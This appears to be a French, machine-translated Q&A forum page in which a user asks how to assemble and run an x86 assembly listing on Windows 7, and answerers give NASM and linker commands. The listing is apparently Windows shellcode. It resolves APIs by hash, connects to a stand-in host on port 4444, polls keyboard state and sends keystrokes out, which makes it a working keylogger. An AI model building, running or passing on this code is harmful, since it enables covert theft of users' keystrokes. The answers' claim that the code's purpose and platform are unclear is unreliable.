2016-11-16 5 views
0

Pouvez-vous me dire comment je peux exécuter ce code sur une machine Windows 7 32 bits?
Ai-je besoin de le compiler? Si oui, comment dois-je faire cela?
De quel (.exe) le fichier devrait-il se terminer?Comment puis-je compiler/exécuter le code suivant sur Windows 7 32 bits?

section .bss 

section .data 

section .text 
    global _start 
     _start: 
    cld 
    call dword loc_88h 
    pushad 
    mov ebp,esp 
    xor eax,eax 
    mov edx,[fs:eax+0x30] 
    mov edx,[edx+0xc] 
    mov edx,[edx+0x14] 
    loc_15h: 
    mov esi,[edx+0x28] 
    movzx ecx,word [edx+0x26] 
    xor edi,edi 
loc_1eh: 
    lodsb 
    cmp al,0x61 
    jl loc_25h 
    sub al,0x20 
loc_25h: 
    ror edi,byte 0xd 
    add edi,eax 
    loop loc_1eh 
    push edx 
    push edi 
    mov edx,[edx+0x10] 
    mov ecx,[edx+0x3c] 
    mov ecx,[ecx+edx+0x78] 
    jecxz loc_82h 
    add ecx,edx 
    push ecx 
    mov ebx,[ecx+0x20] 
    add ebx,edx 
    mov ecx,[ecx+0x18] 
loc_45h: 
    jecxz loc_81h 
    dec ecx 
    mov esi,[ebx+ecx*4] 
    add esi,edx 
    xor edi,edi 
loc_4fh: 
    lodsb 
    ror edi,byte 0xd 
    add edi,eax 
    cmp al,ah 
    jnz loc_4fh 
    add edi,[ebp-0x8] 
    cmp edi,[ebp+0x24] 
    jnz loc_45h 
    pop eax 
    mov ebx,[eax+0x24] 
    add ebx,edx 
    mov cx,[ebx+ecx*2] 
    mov ebx,[eax+0x1c] 
    add ebx,edx 
    mov eax,[ebx+ecx*4] 
    add eax,edx 
    mov [esp+0x24],eax 
    pop ebx 
    pop ebx 
    popad 
    pop ecx 
    pop edx 
    push ecx 
    jmp eax 
loc_81h: 
    pop edi 
loc_82h: 
    pop edi 
    pop edx 
    mov edx,[edx] 
    jmp short loc_15h 
loc_88h: 
    pop ebp 
    push dword 0x3233 
    push dword 0x5f327377 
    push esp 
    push dword 0x726774c 
    call ebp 
    mov eax,0x190 
    sub esp,eax 
    push esp 
    push eax 
    push dword 0x6b8029 
    call ebp 
    push byte +0x10 
    jmp dword loc_1ceh 
loc_b2h: 
    push dword 0x803428a9 
    call ebp 
    lea esi,[eax+0x1c] 
    xchg esi,esp 
    pop eax 
    xchg esp,esi 
    mov esi,eax 
    push dword 0x6c6c 
    push dword 0x642e7472 
    push dword 0x6376736d 
    push esp 
    push dword 0x726774c 
    call ebp 
    jmp dword loc_1e3h 
loc_dfh: 
    push dword 0xd1ecd1f 
    call ebp 
    xchg ah,al 
    ror eax,byte 0x10 
    inc eax 
    inc eax 
    push esi 
    push eax 
    mov esi,esp 
    xor eax,eax 
    push eax 
    push eax 
    push eax 
    push eax 
    inc eax 
    inc eax 
    push eax 
    push eax 
    push dword 0xe0df0fea 
    call ebp 
    mov edi,eax 
loc_104h: 
    push byte +0x10 
    push esi 
    push edi 
    push dword 0x6174a599 
    call ebp 
    test eax,eax 
    jz loc_122h 
    dec dword [esi+0x8] 
    jnz loc_104h 
    xor eax,eax 
    push eax 
    push dword 0x56a2b5f0 
    call ebp 
loc_122h: 
    push dword 0x3233 
    push dword 0x72657375 
    push esp 
    push dword 0x726774c 
    call ebp 
    push dword 0x657461 
    push dword 0x74537965 
    push dword 0x4b746547 
    push esp 
    push eax 
    push dword 0x7802f749 
    call ebp 
    push esi 
    push edi 
    push eax 
    xor ecx,ecx 
    mov esi,ecx 
    mov cl,0x8 
loc_155h: 
    push esi 
    loop loc_155h 
loc_158h: 
    xor ecx,ecx 
    xor esi,esi 
    push byte +0x8 
    push dword 0xe035f044 
    call ebp 
loc_165h: 
    mov eax,esi 
    cmp al,0xff 
    jnc loc_158h 
    inc esi 
    push esi 
    call dword [esp+0x24] 
    mov edx,esi 
    xor ecx,ecx 
    mov cl,0x80 
    and eax,ecx 
    xor ecx,ecx 
    cmp eax,ecx 
    jnz loc_18fh 
    xor edx,edx 
    mov ecx,edx 
    mov eax,esi 
    mov cl,0x20 
    div ecx 
    btr [esp+eax*4],edx 
    jmp short loc_165h 
loc_18fh: 
    xor edx,edx 
    mov ecx,edx 
    mov eax,esi 
    mov cl,0x20 
    div ecx 
    bt [esp+eax*4],edx 
    jc loc_165h 
    xor edx,edx 
    mov ecx,edx 
    mov eax,esi 
    mov cl,0x20 
    div ecx 
    bts [esp+eax*4],edx 
    push esi 
    push byte +0x10 
    push dword [esp+0x30] 
    push byte +0x0 
    push byte +0x1 
    lea ecx,[esp+0x10] 
    push ecx 
    push dword [esp+0x3c] 
    push dword 0xdf5c9d75 
    call ebp 
    lea esp,[esp+0x4] 
    jmp short loc_158h 
loc_1ceh: 
    call dword loc_b2h 
    db "www.example.com",0 
loc_1e3h: 
    call dword loc_dfh 
    db "4444",0 

Répondre

1

Cela ressemble à 32 bits NASM code assembleur (A simple beginners introduction). Vous pouvez assembler il (pas compiler il) avec this installer à partir du site Web NASM (version 2.12.02 au moment de cette réponse).

Montage et relier sur Windows 7 fonctionne comme ceci:

Si vous avez le compilateur Microsoft C, vous avez (quelque part) l'éditeur de liens de Microsoft nommé link.exe. Si ce n'est pas le cas, vous pouvez télécharger le Windows 7 SDK, qui fournit le compilateur C et l'éditeur de liens (link.exe).

nasm -f win32 yourProg.asm 
link /entry:_start /subsystem:console yourProg.obj <locationOfYour>\kernel32.lib 

Mais un rapide coup d'œil sur le code fait évident qu'il ya des NO appels API évidemment nommés dans, donc il est difficile de déterminer la plate-forme de destination (Windows, Linux, MacOS, autre). Donc ce code peut s'assembler, mais son exécution peut (!) Être inutile (sauf si elle est exécutée dans un débogueur) néanmoins.

+0

Il y a des appels d'API, mais ils utilisent des adresses et non des noms symboliques. Le code d'origine a très probablement été obtenu en désassemblant une image en mémoire après que le chargeur a effectué des corrections. Et oui, la plate-forme est difficile à déterminer. –

+0

@BenVoigt: Oui, il pourrait y avoir des appels d'API. Sinon, il peut s'agir d'un système d'exploitation inconnu. Si c'était Linux, je suppose qu'il y aurait un 'int 0x80' dedans. Ça ne semble pas être Windows non plus. Ces 'call ebp's me semblent plutôt étranges, mais cela dépasse le cadre de cette question. – zx485

+0

Mais si c'est le code du noyau, aucun des critères ci-dessus ne peut être appliqué ... – zx485